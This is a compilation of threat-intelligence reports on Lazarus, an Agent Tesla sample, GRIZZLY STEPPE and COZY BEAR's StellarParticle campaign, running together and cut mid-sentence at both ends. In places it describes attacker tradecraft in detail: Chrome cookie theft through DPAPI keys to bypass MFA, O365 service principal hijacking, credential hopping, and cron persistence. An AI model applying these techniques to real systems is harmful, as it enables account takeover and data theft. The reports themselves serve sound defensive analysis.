by Ratankba’s discovery and very public documentation earlier this year. We also provide a brief timeline of events related to the malicious activity and describe the various delivery methods that Lazarus Group utilized to infect victims with PowerRatankba. We then detail the inner workings of PowerRatankba and how it is utilized to deliver a more fully capable backdoor to interesting victims. Following that, we share details on a new and emerging threat targeting the point-of-sale industry that we have dubbed RatankbaPOS. Finally, we explain our high-confidence attribution to Lazarus Group. ## Key Takeaways 1. Analyzing a financially motivated arm of a state actor highlights an often overlooked or underestimated aspect of state-sponsored attacks; in this case, we were able to differentiate the actions of the financially motivated team within Lazarus from those of their espionage and disruption teams that have recently grabbed headlines. 2. This group now appears to be targeting individuals rather than just organizations; individuals are softer targets, often lacking resources and knowledge to defend themselves, providing new avenues of monetization for a state-sponsored threat actor’s toolkit. Moreover, both the explosive growth in cryptocurrency values and the emergence of new point-of-sale malware near the peak holiday shopping season provide an interesting example of how one state-sponsored actor is following the money, adding direct theft from individuals and organizations to the more traditional approach of targeting financial institutions for espionage that we often observe with other APT actors.
# Agent Tesla hidden in a historical anti-malware tool **Published:** 2021-02-11 **Last Updated:** 2021-02-11 07:17:18 UTC **by Jan Kopriva** While going through attachments of e-mails caught in my e-mail quarantine since the beginning of February, I found an ISO file with what turned out to be a sample of the Agent Tesla infostealer. That, by itself, would not be that unusual, but the Agent Tesla sample turned out to be unconventional in more ways than one. The e-mail carrying the ISO attachment was a run-of-the-mill-looking malspam, informing the recipient about a new delivery from DHL. It had a spoofed sender address “[email protected]”, which, although looking at least somewhat believable, certainly didn’t have the impact of making the message appear trustworthy. On the contrary, it must have resulted in very few of the messages actually making it past any security analysis on e-mail gateways. The reason is that DHL has a valid SPF record set up for dhl.com, so any SPF check would lead to a “soft fail” result, which would consequently most likely lead to the message being quarantined. The attached file `Download_Tracking_Reference.01.02.2021.xlsx.iso` contained only one EXE with an identical name (except for the second extension, of course). The executable was written in VB.NET and its malicious payload was hidden in it in an interesting way – the file had two bitmaps embedded in its Resources section, both of which were in fact encoded/encrypted DLLs. While the use of bitmaps for embedding DLLs is not new for Agent Tesla, it is certainly an interesting way to hide malicious code and prevent its detection. In this case, it didn’t seem to help the file too much, given its 41/71 VT score at the time of writing, but it is quite an imaginative technique nonetheless. After the file was executed, it would first decode and load a small (10kB) DLL named `BestFit.dll`. Using this first DLL, the malware would then decode, decrypt and load a much larger (430kB) DLL called `PositiveSign.dll`. Since the second DLL was heavily obfuscated and its authors used a couple of anti-analysis techniques in it, I didn’t have time to go through it in detail, but from the portions of the code I saw, it did appear to contain the final stage of the payload. What turned out to be even more interesting than the use of bitmaps to store encoded/encrypted DLLs, however, was the code of the original executable, in which the "malicious bitmaps" were hidden. The EXE, which was originally named `HashHelpers.exe`, had its description and product name set to Virus Effect Remover. This was a name of a legitimate anti-malware tool developed during the 2000s and first half of 2010s. This, by itself, would not be that unusual, since malware authors sometimes like to name their creations in creative or provocative ways. Nevertheless, in this case, the name wasn’t the only thing which authors of Agent Tesla borrowed from the anti-malware tool; they reused significant portions of its code as well. When comparing the malicious file with the latest available release of the real tool, it can be clearly seen that large parts of both binaries are (nearly) identical. Although the original code in the malicious EXE is never executed, authors of the malware reused large parts of it when making their creation. Since Virus Effect Remover was also written in VB.NET, getting to the code and repurposing it, even if they were working from a compiled executable, would of course be trivial for them. Even though the use of "trojanized" security tools is not a novel concept by any means, I think this was the first time I’ve seen it done in this way – i.e. by using code of an old anti-malware solution without trying to pass the resulting executable to target users as the original tool. While we can only speculate on why creators of the malicious code chose to hide it in the code of a historical security tool, by far the most probable explanation seems to be that this was done in an attempt to make the malware seem benign to anti-malware scanners. And since some security tools use signature-based allow-listing mechanisms to avoid scanning of known security tools, this might have actually worked in some instances. ## Indicators of Compromise (IoCs) - `Download_Tracking_Reference.01.02.2021.xlsx.iso` (806 kB) MD5 - 2ceb9c4347aed5dd387d261b40473f46 SHA-1 - d4b93dd1bfb531b228353451977185f039407741 - `Download_Tracking_Reference.01.02.2021.xlsx.exe / HashHelpers.exe` (745 kB) MD5 - 9417df6dc7d716b0b69e587c9d89981b SHA-1 - e905472faad91b87dbfc7afc838564fde3c87aa3 - `BestFit.dll` (10 kB) MD5 - a32a0b1cc226475671801360f6c53419 SHA-1 - aa6d74a2db3c430175e79f581afc29240b17ae6c - `PositiveSign.dll` (430 kB) MD5 - 8b1e495e40571a5912f672f38f47058d SHA-1 - c900af54932bdd4c8fd749cecb5689e7e2082037 **Keywords:** Agent Tesla DLL Malware
# TLP:WHITE ## National Cybersecurity and Communications Integration Center ### ANALYSIS REPORT **DISCLAIMER:** This report is provided “as is” for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained within. DHS does not endorse any commercial product or service referenced in this advisory or otherwise. This document is distributed as TLP:WHITE: Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol, see https://www.us-cert.gov/tlp. **Reference Number:** AR-17-20045 **February 10, 2017** ## Enhanced Analysis of GRIZZLY STEPPE Activity ### Executive Summary The Department of Homeland Security (DHS) National Cybersecurity and Communications Integration Center (NCCIC) has collaborated with interagency partners and private-industry stakeholders to provide an Analytical Report (AR) with specific signatures and recommendations to detect and mitigate threats from GRIZZLY STEPPE actors. ### Recommended Reading about GRIZZLY STEPPE DHS recommends reading multiple bodies of work concerning GRIZZLY STEPPE. While DHS does not endorse any particular company or their findings, we believe the breadth of literature created by multiple sources enhances the overall understanding of the threat. DHS encourages analysts to review these resources to determine the level of threat posed to their local network environments. #### DHS Resources - **JAR-16-20296** provides technical details regarding the tools and infrastructure used by the Russian civilian and military intelligence Services (RIS) to compromise and exploit networks and endpoints associated with the U.S. election, as well as a range of U.S. Government, political, and private sector entities. JAR-16-20296 remains a useful resource for understanding APT28 and APT29 use of the cyber kill chain and exploit targets. Additionally, JAR-16-20296 discusses some of the differences in activity between APT28 and APT29. This AR primarily focuses on APT28 and APT29 activity from 2015 through 2016. - **DHS Malware Initial Findings Report (MIFR)-10105049 UPDATE 2** was updated January 27, 2017 to provide additional analysis of the artifacts identified in JAR 16-20296. The artifacts analyzed in this report include 17 PHP files, 3 executables, and 1 RTF file. The PHP files are web shells designed to provide a remote user an interface for various remote operations. The RTF file is a malicious document designed to install and execute a malicious executable. However, DHS recommends that analysts read the MIFR in full to develop a better understanding of how the GRIZZLY STEPPE malware executes on a system, which, in turn, downloads additional malware and attempts to extract cached passwords. The remaining two executables are Remote Access Tools (RATs) that collect host information, including digital certificates and private keys, and provide an actor with remote access to the infected system. #### Open Source Several cybersecurity and threat research firms have written extensively about GRIZZLY STEPPE. DHS encourages network defenders, threat analysts, and general audiences to review publicly available information to develop a better understanding of the tactics, techniques, and procedures (TTPs) of APT28 and APT29 and to potentially mitigate against GRIZZLY STEPPE activity. ### Utilizing Cyber Kill Chain for Analysis DHS analysts leverage the Cyber Kill Chain model to analyze, discuss, and dissect malicious cyber activity. The phases of the Cyber Kill Chain are Reconnaissance, Weaponization, Delivery, Exploitation, Installation, Command and Control, and Actions on the Objective. This section will provide a high-level overview of GRIZZLY STEPPE activity within this framework. #### Reconnaissance GRIZZLY STEPPE actors use various reconnaissance methods to determine the best attack vector for compromising their targets. These methods include network vulnerability scanning, credential harvesting, and using “doppelganger” (also known as “typo-squatting”) domains to target victim organizations. The doppelganger domains can be used for reconnaissance when users incorrectly type in the web address in a browser or as part of delivery as a URL in the body of phishing emails. DHS recommends that network defenders review and monitor their networks for traffic to sites that look similar to their own domains. This can be an indicator of compromise that should trigger further research to determine whether a breach has occurred. Often, these doppelganger sites are registered to suspicious IP addresses. For example, a site pretending to be an organization’s User Log In resolving to a TOR node IP address may be considered suspicious and should be researched by the organization’s security operations center (SOC) for signs of users navigating to that site. Because these doppelganger sites normally mimic the targeted victim’s domain, they were not included in JAR-16-20296. Before the 2016 U.S. election, DHS observed network scanning activity that is known as reconnaissance. The IPs identified performed vulnerability scans attempting to identify websites that are vulnerable to cross-site scripting (XSS) or Structured Query Language (SQL) injection attacks. When GRIZZLY STEPPE actors identify a vulnerable site, they can then attempt to exploit the identified vulnerabilities to gain access to the targeted network. Network perimeter scans are often a precursor to network attacks and DHS recommends that security analysts identify the types of scans carried out against their perimeters. This information can aid security analysts in identifying and patching vulnerabilities in their systems. Another common method used by GRIZZLY STEPPE is to host credential-harvesting pages as seen in Step 4 and Step 5 of the GRIZZLY STEPPE attack lifecycle graphic. This technique includes hosting a temporary website in publicly available infrastructure (i.e., neutral space) that users are directed to via spear-phishing emails. Users are tricked into entering their credentials in these temporary sites, and GRIZZLY STEPPE actors gain legitimate credentials for users on the targeted network. #### Weaponization GRIZZLY STEPPE actors have excelled at embedding malicious code into a number of file types as part of their weaponization efforts. In 2014, it was reported that GRIZZLY STEPPE actors were wrapping legitimate executable files with malware (named “OnionDuke”) to increase the chance of bypassing security controls. Since weaponization actions occur within the adversary space, there is little that can be detected by security analysts during this phase. APT28 and APT29 weaponization methods have included: - Code injects in websites as watering hole attacks - Malicious macros in Microsoft Office files - Malicious Rich Text Format (RTF) files with embedded malicious flash code #### Delivery As described in JAR-16-20296 and numerous publicly available resources, GRIZZLY STEPPE actors traditionally use spear-phishing emails to deliver malicious attachments or URLs that lead to malicious payloads. DHS recommends that network defenders conduct analysis of their systems to identify potentially malicious emails involving variations on GRIZZLY STEPPE themes. Inbound emails subjects should be reviewed for the following commonly employed titles, text, and themes: - efax, e-Fax, efax #100345 (random sequence of numbers) - PDF, PFD, Secure PDF - Topics from current events (e.g., “European Parliament statement on…”) - Fake Microsoft Outlook Web Access (OWA) log-in emails - Invites for cyber threat events Additionally, GRIZZLY STEPPE actors have infected pirated software in torrent services and leveraged TOR exit nodes to deliver malware since at least 2014. These actors are capable of compromising legitimate domains and services to host and deliver malware in an attempt to obscure their delivery methods. DHS notes that the majority of TOR traffic is not GRIZZLY STEPPE activity. The existence of a TOR IP in a network log only indicates that network administrators should review the related traffic to determine if it is legitimate activity for that specific environment. #### Exploitation GRIZZLY STEPPE actors have developed malware to exploit a number of Common Vulnerability and Exposures (CVEs). DHS assesses that these actors commonly target Microsoft Office exploits due to the high likelihood of having this software installed on the targeted hosts. While not all-encompassing, the following CVEs have been targeted by GRIZZLY STEPPE actors in past attacks: - CVE-2016-7855: Adobe Flash Player Use-After-Free Vulnerability - CVE-2016-7255: Microsoft Windows Elevation of Privilege Vulnerability - CVE-2016-4117: Adobe Flash Player Remote Attack Vulnerability - CVE-2015-1641: Microsoft Office Memory Corruption Vulnerability - CVE-2015-2424: Microsoft PowerPoint Memory Corruption Vulnerability - CVE-2014-1761: Microsoft Office Denial of Service (Memory Corruption) - CVE-2013-2729: Integer Overflow in Adobe Reader and Acrobat vulnerability - CVE-2012-0158: ActiveX Corruption Vulnerability for Microsoft Office - CVE-2010-3333: RTF Stack Buffer Overflow Vulnerability for Microsoft Office - CVE-2009-3129: Microsoft Office Compatibility Pack for Remote Attacks #### Installation GRIZZLY STEPPE actors have leveraged several different types of implants in the past. Analysts can research these implants by reviewing open-source reporting on malware families including Sofacy and Onion Duke. Recently, DHS analyzed 17 PHP files, 3 executables, and 1 RTF file attributed to GRIZZLY STEPPE actors and the findings are located in MIFR-10105049-Update2 (updated on 1/26/2017). The PHP files are web shells designed to provide a user interface for various remote operations. The RTF file is a malicious document designed to install and execute a malicious executable. DHS recommends that security analysts review their systems for unauthorized web shells. #### Command and Control GRIZZLY STEPPE actors leverage their installed malware through Command and Control (C2) infrastructure, which they traditionally develop via compromised sites and publicly available infrastructure, such as TOR. C2 IOCs are traditionally the IP addresses or domains that are leveraged to send and receive commands to and from malware implants. #### Actions on the Objective GRIZZLY STEPPE actors have leveraged their malware in multiple campaigns with various end goals. GRIZZLY STEPPE actors are capable of utilizing their malware to conduct extensive data exfiltration of sensitive files, emails, and user credentials. Security operation center (SOC) analysts may be able to detect actions on the objective before data exfiltration occurs by looking for signs of files and user credential movement within their network. ### Detection and Response The appendixes of this Analysis Report provide detailed host and network signatures to aid in detecting and mitigating GRIZZLY STEPPE activity. This information is broken out by actor and implant version whenever possible. MIFR-10105049 UPDATE2 provides additional YARA rules and IOCs associated with APT28 and APT29 actors. ### Contact Information Recipients of this report are encouraged to contribute any additional information that they may have related to this threat. For any questions related to this report, please contact NCCIC at: **Phone:** +1-703-235-8832 **Email:** [email protected] ### Feedback DHS strives to make this report a valuable tool for our partners and welcomes feedback on how this publication could be improved. You can help by answering a few short questions about this report at the following URL: https://www.us-cert.gov/forms/feedback
# StellarParticle Campaign: Novel Tactics and Techniques StellarParticle is a campaign tracked by CrowdStrike as related to the SUNSPOT implant from the SolarWinds intrusion in December 2020 and associated with COZY BEAR (aka APT29, “The Dukes”). The StellarParticle campaign has continued against multiple organizations, with COZY BEAR using novel tools and techniques to complete their objectives, as identified by CrowdStrike incident responders and the CrowdStrike Intelligence team. Browser cookie theft and Microsoft Service Principal manipulation are two of the novel techniques and tools leveraged in the StellarParticle campaign. Two sophisticated malware families were placed on victim systems in mid-2019: a Linux variant of GoldMax and a new implant dubbed TrailBlazer. Supply chain compromises are an increasing threat that impacts a range of sectors, with threat actors leveraging access to support several motivations including financial gain (such as with the Kaseya ransomware attack) and espionage. Throughout 2020, an operation attributed to the Foreign Intelligence Service of the Russian Federation (SVR) by the U.S. government was conducted to gain access to the update mechanism of the SolarWinds IT management software and use it to broaden their intelligence collection capabilities. This activity is tracked by CrowdStrike as the StellarParticle campaign and is associated with the COZY BEAR adversary group. This blog discusses the novel tactics and techniques leveraged in StellarParticle investigations conducted by CrowdStrike. These techniques include: - Credential hopping for obscuring lateral movement - Office 365 (O365) Service Principal and Application hijacking, impersonation and manipulation - Stealing browser cookies for bypassing multifactor authentication - Use of the TrailBlazer implant and the Linux variant of GoldMax malware - Credential theft using Get-ADReplAccount ## Credential Hopping The majority of StellarParticle-related investigations conducted by CrowdStrike have started with the identification of adversary actions within a victim’s O365 environment. This has been advantageous to CrowdStrike incident responders in that, through investigating victim O365 environments, they could gain an accurate accounting of time, account and source IP address of adversary victimization of the O365 tenant. In multiple engagements, this led CrowdStrike incident responders to identify that the malicious authentications into victim O365 tenants had originated from within the victim’s own network. Armed with this information, CrowdStrike investigators were able to identify from which systems in these internal networks the threat actor was making authentications to O365. These authentications would typically occur from servers in the environment, leading to natural investigative questions: Why would a user authenticate into O365 from a domain controller or other infrastructure server? What credentials were used as part of the session from which the O365 authentication occurred? This led our responders to identify the occurrence of “credential hopping,” where the threat actor leveraged different credentials for each step while moving laterally through the victim’s network. While this particular technique is not necessarily unique to the StellarParticle campaign, it indicates a more advanced threat actor and may go unnoticed by a victim. Below is an example of how a threat actor performs credential hopping: 1. Gain access to the victim’s network by logging into a public-facing system via Secure Shell (SSH) using a local account <user sftp> acquired during previous credential theft activities. 2. Use port forwarding capabilities built into SSH on the public-facing system to establish a Remote Desktop Protocol (RDP) session to an internal server (Server 1) using a domain service account. 3. From Server 1, establish another RDP session to a different internal server (Server 2) using a domain administrator’s account. 4. Log in to O365 as a user with privileged access to cloud resources. This technique could be hard to identify in environments where defenders have little visibility into identity usage. In the example shown, the threat actor leveraged a service interactively, which should generate detections for defenders to investigate. However, the threat actor could have easily used a second domain administrator account or any other combination of accounts that would not be easily detected. A solution such as CrowdStrike Falcon® Identity Threat Detection would help identify these anomalous logons — and especially infrequent destinations for accounts. But how had the threat actor succeeded in authenticating into victim O365 tenants, when multifactor authentication (MFA) had been enabled for every O365 user account at each victim organization investigated by CrowdStrike? ## Cookie Theft to Bypass MFA Even though the victims required MFA to access cloud resources from all locations, including on premises, the threat actor managed to bypass MFA through the theft of Chrome browser cookies. The threat actor accomplished this by using administrative accounts to connect via SMB to targeted users, and then copy their Chrome profile directories as well as data protection API (DPAPI) data. In Windows, Chrome cookies and saved passwords are encrypted using DPAPI. The user-specific encryption keys for DPAPI are stored under C:\Users\<user>\AppData\Roaming\Microsoft\Protect\. To leverage these encryption keys, the threat actor must first decrypt them, either by using the user account’s Windows password, or, in Active Directory environments, by using a DPAPI domain backup key that is stored on domain controllers. Once the threat actor had a Chrome cookies file from a user that had already passed an MFA challenge recently (for example, a timeout was 24 hours), they decrypted the cookies file using the user’s DPAPI key. The cookies were then added to a new session using a “Cookie Editor” Chrome extension that the threat actor installed on victim systems and removed after using. From a forensic standpoint, the use of the Cookie Editor Chrome extension would have been challenging to identify, due to the threat actor’s penchant for strict operational security. This activity was identified via a NewScriptWritten event within Falcon when a JavaScript file was written to disk by a threat actor-initiated Chrome process. This event captured the unique extension ID associated with the extension, thereby allowing CrowdStrike incident responders to validate via the Chrome Store that the JavaScript file was associated with the “Cookie Editor” plugin. This extension permitted bypassing MFA requirements, as the cookies, replayed through the Cookie Editor extension, allowed the threat actor to hijack the already MFA-approved session of a targeted user. Shellbags were also instrumental in identifying the cookie theft activity. This artifact very clearly showed the threat actor accessing targeted users’ machines in sequence and browsing to the Chrome and DPAPI directories one after another. Parsing Shellbags for an administrative account leveraged by the threat actor resulted in entries indicating the targeting of Chrome directories. CrowdStrike identified forensic evidence that showed the entire attack path: browsing to a target user’s Chrome and DPAPI directories via administrative share, installing the Cookie Editor extension, and using Chrome to impersonate the targeted user in the victim’s cloud tenants. The decryption of the cookies is believed to have taken place offline after exfiltrating the data via the clipboard in the threat actor’s RDP session. CrowdStrike identified a similar TTP where the threat actor connected via RDP to a user’s workstation with the workstation owner’s account (e.g., connecting via RDP to user1-pc using the account user1). In cases where the user had only locked their screen and not signed out, the threat actor was able to take over the user’s Windows session, as the RDP session would connect to the existing session of the same user. By examining RDP Bitmap Cache files, CrowdStrike was able to demonstrate that the threat actor had opened Chrome and exported all of the user’s saved passwords as plaintext in a CSV file during these sessions. In addition, the threat actor visited sensitive websites that the user had access to, which in one instance allowed them to browse and download a victim’s customer list. After this, the threat actor navigated to the user’s Chrome history page and deleted the specific history items related to threat actor activity, leaving the rest of the user’s Chrome history intact. ## O365 Delegated Administrator Abuse CrowdStrike also identified a connection between StellarParticle-related campaigns and the abuse of Microsoft Cloud Solution Partners’ O365 tenants. This threat actor abused access to accounts in the Cloud Solution Partner’s environment with legitimate delegated administrative privileges to then gain access to several customers’ O365 environments. By analyzing Azure AD sign-ins, CrowdStrike was able to use known indicators of compromise (IOCs) to identify several threat actor logins to customer environments. These cross-tenant sign-ins were identified by looking for values in the resourceTenantId attribute that did not match the Cloud Solution Partner’s own Azure tenant ID. CrowdStrike also identified a limitation within Microsoft’s Delegated Administration capabilities for Microsoft Cloud Solution Partners. While a normal O365 administrator can be provided dozens of specific administrative roles to limit the privileges granted, this same degree of customization cannot be applied to Microsoft Cloud Solution Partners that use the delegated administrator functionality in O365. For Microsoft Cloud Solution Partners, there are only two substantial administrative options today when managing a customer’s environment: Admin agent or Helpdesk agent. The Helpdesk agent role provides very limited access that is equivalent to a password admin role, whereas the Admin agent role provides broad access more equivalent to global administrator. This limitation is scheduled to be resolved in 2022 via Microsoft’s scheduled feature, Granular Delegated Admin Privileges (GDAP). ## User Access Logging (UAL) The Windows User Access Logging (UAL) database is an extremely powerful artifact that has played an instrumental role in the investigation of StellarParticle-linked cases. In particular, UAL has helped our responders identify earlier malicious account usage that ultimately led to the identification of the aforementioned TrailBlazer implant and Linux version of the GoldMax variant. The UAL database is available by default on Server editions of Windows starting with Server 2012. This database stores historical information on user access to various services (or in Windows parlance, Roles) on the server for up to three years (three years minus one day) by default. UAL contains information on the type of service accessed, the user that accessed the service and the source IP address from which the access occurred. One of the most useful roles recorded by UAL is the File Server role, which includes SMB access, though other role types can also be very helpful. In multiple StellarParticle-related cases, because the threat actor used the same set of accounts during their operations in the environment, CrowdStrike was able to identify previous malicious activity going back multiple years, based solely on UAL data. Even though it’s only available on Server 2012 and up, UAL can still be used to trace evidence of threat actor activity on legacy systems as long as the activity on the legacy system involves some (deliberate or unintentional) access to a 2012+ system. For example, in addition to tracking SMB activity, UAL databases on Domain Controllers track Active Directory access. This allowed CrowdStrike to demonstrate that a given user account was also authenticating to Active Directory from a given source IP address two years prior. Because the user account was known to have recently been abused by the threat actor, and the source IP of the system in question was not one that account would typically be active on, the investigation led to the source system and ultimately resulted in the timeline of malicious activity being pushed back by years, with additional compromised systems even being discovered still running unique malware from that time period. ## TrailBlazer and GoldMax Throughout StellarParticle-related investigations, CrowdStrike has identified two sophisticated malware families that were placed on victim systems in the mid-2019 timeframe: a Linux variant of GoldMax and a completely new family CrowdStrike refers to as TrailBlazer. ### TrailBlazer - Attempted to blend in with a file name that matched the system name it resided on - Configured for WMI persistence (generally uncommon in 2019) - Used likely compromised infrastructure for C2 - Masquerades its command-and-control (C2) traffic as legitimate Google Notifications HTTP requests TrailBlazer is a sophisticated malware family that provides modular functionality and a very low prevalence. The malware shares high-level functionality with other malware families. In particular, the use of random identifier strings for C2 operations and result codes, and attempts to hide C2 communications in seemingly legitimate web traffic, were previously observed tactics, techniques and procedures (TTPs) in GoldMax and SUNBURST. TrailBlazer persists on a compromised host using WMI event subscriptions — a technique also used by SeaDuke — although this persistence mechanism is not exclusive to COZY BEAR. ### GoldMax (Linux variant) - Attempted to blend in with a file name that matched the system name it resided on - Configured for persistence via a crontab entry with a @reboot line - Used likely compromised infrastructure for C2 GoldMax was first observed during post-exploitation activity in the campaign leveraging the SolarWinds supply chain attacks. Previously identified samples of GoldMax were built for the Windows platform, with the earliest identified timestamp indicating a compilation in May 2020, but a recent CrowdStrike investigation discovered a GoldMax variant built for the Linux platform that the threat actor deployed in mid-2019. This variant extends the backdoor’s known history and shows that the threat actor has used the malware in post-exploitation activity targeting other platforms than Windows. The 2019 Linux variant of the GoldMax backdoor is almost identical in functionality and implementation to the previously identified May 2020 Windows variant. The very few additions to the backdoor between 2019 and 2020 likely reflect its maturity and longstanding evasion of detections. It is likely GoldMax has been used as a long-term persistence backdoor during StellarParticle-related compromises, which would be consistent with the few changes made to the malware to modify existing functions or support additional functionality. Persistence was established via a crontab entry for a non-root user. With the binary named to masquerade as a legitimate file on the system and placed in a hidden directory, a crontab entry was created with a @reboot line so the GoldMax binary would execute again upon system reboot. Additionally, the threat actor used the nohup command to ignore any hangup signals, and the process will continue to run even if the terminal session was terminated. ## Enumeration Tools/Unique Directory Structure Throughout our StellarParticle investigations, CrowdStrike identified what appeared to be a VBScript-based Active Directory enumeration toolkit. While the script’s contents have not been recovered to date, CrowdStrike has observed identical artifacts across multiple StellarParticle engagements that suggest the same or similar tool was used. In each instance the tool was used, Shellbags data indicated that directories with random names of a consistent length were navigated to by the same user that ran the tool. After two levels of randomly named directories, Shellbags proved the existence of subdirectories named after the FQDNs for the victims’ various domains. In addition, the randomly named directories are typically created in a previously existing directory that’s one level off of the root of the C drive. The randomly named directories have a consistent length where the first directory is six characters and the next directory is three characters. To date, the names of the directories have always been formed from lowercase alphanumeric characters. For example, Shellbags indicated that directories matching the naming patterns below were browsed to (where “XX” is a previously existing directory on the system): - C:\XX\[a-z0-9]{6} - C:\XX\[a-z0-9]{6}\[a-z0-9]{3} - C:\XX\[a-z0-9]{6}\[a-z0-9]{3}\domain.FQDN - C:\XX\[a-z0-9]{6}\[a-z0-9]{3}\domain-2.FQDN In each case, immediately prior to the creation of the directories referenced above, there was evidence of execution of a VBScript file by the same user that browsed to the directories. This evidence typically came from a UserAssist entry for wscript.exe, as well as RecentApps entries for wscript.exe (that would also include the VBScript filename). In addition, the Jump List for wscript.exe contained evidence of the VBScript files. The name of the VBScript files varied across engagements and was generally designed to look fairly innocuous and blend in. Two examples are env.vbs and WinNet.vbs. Due to the subdirectories that are named after the FQDNs for victim domains, CrowdStrike assesses with moderate confidence that the scripts represent an AD enumeration tool used by the adversary. ## Internal Wiki Access Across multiple StellarParticle investigations, CrowdStrike identified unique reconnaissance activities performed by the threat actor: access of victims’ internal knowledge repositories. Wikis are commonly used across industries to facilitate knowledge sharing and as a source of reference for a variety of topics. While operating in the victim’s internal network, the threat actor accessed sensitive information specific to the products and services that the victim organization provided. This information included items such as product/service architecture and design documents, vulnerabilities and step-by-step instructions to perform various tasks. Additionally, the threat actor viewed pages related to internal business operations such as development schedules and points of contact. In some instances these points of contact were subsequently targeted for further data collection. The threat actor’s wiki access could be considered an extension of “Credential Hopping” described earlier. The threat actor established RDP sessions to internal servers using privileged accounts and then accessed the wiki using a different set of credentials. CrowdStrike observed the threat actor accessing the wiki as users who would be considered “non-privileged” from an Active Directory perspective but had access to sensitive data specific to the victim’s products or services. At this time, the malicious access of internal wikis is an information gathering technique that CrowdStrike has only observed in StellarParticle investigations. CrowdStrike was able to identify the wiki access primarily through forensic analysis of the internal systems used by the threat actor. Given the threat actor’s penchant for clearing browser data, organizations should not rely upon the availability of these artifacts for future investigations. CrowdStrike recommends the following best practices for internal information repositories: - Enable detailed access logging - Ensure logs are centralized and stored for at least 180 days - Create detections for anomalous activity such as access from an unusual location like a server subnet - Enable MFA on the repository site, or provide access via Single Sign On (SSO) behind MFA ## O365 Built-in Service Principal Hijacking The threat actor connected via Remote Desktop from a Domain Controller to a vCenter server and opened a PowerShell console, then used the PowerShell command -ep bypass to circumvent the execution policy. Using the Windows Azure Active Directory PowerShell Module, the threat actor connected to the victim’s O365 tenant and began performing enumeration queries. These queries were recorded in text-based logs that existed under the path C:\Users\<user>\AppData\Local\Microsoft\Office365\Powershell\. Similar logs (for Azure AD instead of O365) can be found under the path C:\Users\<user>\AppData\Local\Microsoft\AzureAD\Powershell\. While the logs didn’t include what data was returned by the queries, they did provide some insight such as the user account used to connect to the victim’s O365 tenant (which was not the same as the user the threat actor used to RDP to the vCenter server). The logs contained commands issued and the count of the results returned for a specific command. The commands included enumeration queries such as: - ListAccountSkus - ListPartnerContracts - ListServicePrincipals - ListServicePrincipalCredentials - ListRoles - ListRoleMembers - ListUsers - ListDomains - GetRoleMember - GetPartnerInformation - GetCompanyInformation In this case, however, the most significant and concerning log entry was one that indicated the command AddServicePrincipalCredentials was executed. By taking the timestamp that the command was executed via the PowerShell logs on the local system, CrowdStrike analyzed the configuration settings in the victim’s O365 tenant and discovered that a new secret had been added to a built-in Microsoft Azure AD Enterprise Application, Microsoft StaffHub Service Principal, which had Application level permissions. Further, the newly added secret was set to remain valid for more than a decade. This data was acquired by exporting the secrets and certificates details for each Azure AD Enterprise Application. The Service Principal (now renamed to Microsoft Teams Shifts) had the following permissions at the time the configuration settings were collected: - Member.Read - Member.Read.All - Member.ReadWrite - Member.ReadWrite.All - Shift.Read - Shift.Read.All - Shift.ReadWrite - Shift.ReadWrite.All - Team.Read - Team.Read.All - Team.ReadWrite - Team.Read.Write.All - User.Read.All - User.ReadWrite.All - WebHook.Read.All - WebHook.ReadWrite.All CrowdStrike was unable to find Microsoft documentation, but based on open-source research, this application likely had the following permissions around the time of registration: - Mail.Read - Group.Read.All - Files.Read.All - Group.ReadWrite.All The most notable permissions above are the Mail.Read, Files.Read and Member.ReadWrite permissions. These permissions would allow the threat actor to use the Microsoft Staffhub service principal to read all mail and SharePoint/OneDrive files in the organization, as well as create new accounts and assign administrator privileges to any account in the organization. By running the commands from within the victim’s environment, MFA requirements were bypassed due to conditional access policies not covering Service Principal sign-ins at this point of time. However, as explained earlier, the threat actor managed to continue to access the victim’s cloud environment even when the victim enforced MFA for all connections regardless of source. While the bulk of the evidence for this activity came from the text-based O365 PowerShell logs, the NTUSER.DAT registry hive for the user that was running the PowerShell cmdlets also included information on the accounts that were used to authenticate to the cloud. This information was stored under the registry path. ## O365 Company Service Principal Manipulation The threat actor also deployed several layers of persistence utilizing both pre-existing and threat actor-created Service Principals with the ultimate goal of gaining global access to email. ### Attacker-created Service Principal First, the threat actor used a compromised O365 administrator account to create a new Service Principal with a generic name. This Service Principal was granted company administrator privileges. From there, the threat actor added a credential to this Service Principal so that they could access the Service Principal directly, without use of an O365 user account. These actions were recorded in Unified Audit Logs with the following three operation names: - Add service principal - Add member to role - Add service principal credentials - Update Service Principal ### Company-Created Service Principal Hijacking Next, the threat actor utilized the threat actor-created Service Principal to take control of a second Service Principal. This was done by adding credentials to this second Service Principal, which was legitimately created by the company. This now compromised company-created Service Principal had mail.read graph permissions consented on behalf of all users within the tenant. This action was recorded by just one operation type in Unified Audit Logs. This operation type is named Add service principal credentials. ### Mail.Read Service Principal Abuse Finally, the threat actor utilized the compromised Service Principal with the assigned mail.read permissions to then read emails of several different users in the company’s environment. CrowdStrike was able to use the Unified Audit Logs’ (UAL) MailItemsAccessed operation events to see the exact emails the threat actor viewed, as the majority of the users in the tenant were assigned O365 E5 licenses. When performing analysis on the UAL, CrowdStrike used the ClientAppId value within the MailItemsAccessed operation and cross-correlated with the Application ID of the compromised service principal to see what activities were performed by the threat actor. ## O365 Application Impersonation Another consistent TTP identified during StellarParticle investigations has been the abuse of the ApplicationImpersonation role. When this role was assigned to a particular user that was controlled by the threat actor, it allowed the threat actor to impersonate any user within the O365 environment. These impersonated events are not logged verbosely by the Unified Audit Logs and can be difficult to detect. While the assignment of these ApplicationImpersonation roles were not logged in the Unified Audit Logs, CrowdStrike was able to identify this persistence mechanism via the management role configuration settings, which can be exported with the Exchange PowerShell command: Get-ManagementRoleAssignment -Role ApplicationImpersonation. CrowdStrike then analyzed the exported configuration settings and identified several users (not service accounts) that the threat actor likely gave direct ApplicationImpersonation roles during the known periods of compromise. ## Remote Tasklist The threat actor attempted to remotely list running processes on systems using tasklist.exe. As tasklist uses WMI “under the hood,” this activity was captured by Falcon as SuspiciousWmiQuery events that included the query and the source system. Additionally, the failed (not successful) process listing resulted in a DCOM error that was logged in the System.evtx event log under Event ID 10028. This remote process listing was consistently used by the threat actor targeting the same or similar lists of remote systems, and the owners of the targeted systems also happened to be the individuals with cloud access that the threat actor was interested in. While unproven, it’s possible the threat actor was running tasklist remotely on these systems specifically to see which of the target systems was running Google Chrome. This is because a current or recent Chrome session to the victim’s cloud tenants would be potentially beneficial in the hijacking of sessions 